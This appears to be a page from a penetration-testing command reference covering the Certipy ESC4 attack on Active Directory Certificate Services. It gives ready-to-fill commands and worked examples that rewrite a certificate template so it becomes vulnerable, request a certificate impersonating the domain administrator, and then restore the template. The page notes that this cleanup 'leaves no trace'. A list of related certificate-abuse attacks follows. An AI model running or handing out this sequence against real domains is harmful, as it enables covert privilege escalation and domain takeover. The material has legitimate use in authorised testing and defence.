Certipy Template Edit (ESC4)
ESC4: when you have GenericWrite/WriteOwner over a template, rewrite its security descriptor / flags to make it ESC1-style vulnerable, then restore the original. -save-configuration takes a backup before modifying so cleanup leaves no trace. Verified against Certipy v5.x parser.
- Tool
- certipy
- Category
- Credential Attacks / ADCS (Certificate Abuse)
- Platform
- linux
- Requires
- password
- Protocols
- LDAP
Syntax
Angle-bracket tokens are placeholders — replace them with your target's values, or open this command in the app to fill them in and copy the result.
certipy template -u '<user>@<domain>' -p '<password>' -dc-ip <dc-ip> -template '<template>' -write-default-configuration -save-configuration '<template>.json'
Credential variants
The same attack using a different authentication material.
Restore From Backup requires password
certipy template -u '<user>@<domain>' -p '<password>' -dc-ip <dc-ip> -template '<template>' -write-configuration '<template>.json'
No Backup requires password
certipy template -u '<user>@<domain>' -p '<password>' -dc-ip <dc-ip> -template '<template>' -write-default-configuration -no-save
Examples
certipy template -u 'jdoe@corp.local' -p 'Password123!' -dc-ip 10.10.10.10 -template 'WebServer' -write-default-configuration -save-configuration WebServer.json
certipy req -u 'jdoe@corp.local' -p 'Password123!' -dc-ip 10.10.10.10 -ca 'CORP-CA' -template 'WebServer' -upn 'administrator@corp.local'
certipy template -u 'jdoe@corp.local' -p 'Password123!' -dc-ip 10.10.10.10 -template 'WebServer' -write-configuration WebServer.json
Tags
References
Related commands
- bloodyAD Shadow Credentials Add a Key Credential (msDS-KeyCredentialLink) to a target object you have GenericWrite…
- Certipy Account Operations Create, update, read, or delete user / computer accounts directly through Certipy.…
- Certipy Authenticate with Certificate Authenticate using a PFX certificate to obtain a TGT and NT hash
- Certipy CA Management Enumerate and manipulate the certificate authority itself: list officers (ESC7), backup…
- Certipy ESC1 (Subject in Request) Exploit ESC1: a template that allows the requester to specify a Subject Alternative Name…
- Certipy ESC11 (RPC Relay to ICPR) ESC11: ICertPassage RPC interface accepts NTLM without IF_ENFORCEENCRYPTICERTREQUEST.…
- Certipy ESC13 (OID Group Link) ESC13: a template's issuance policy is linked to a privileged group via…
- Certipy ESC14 (altSecurityIdentities Mapping) ESC14: weak explicit certificate mapping via altSecurityIdentities. With write access…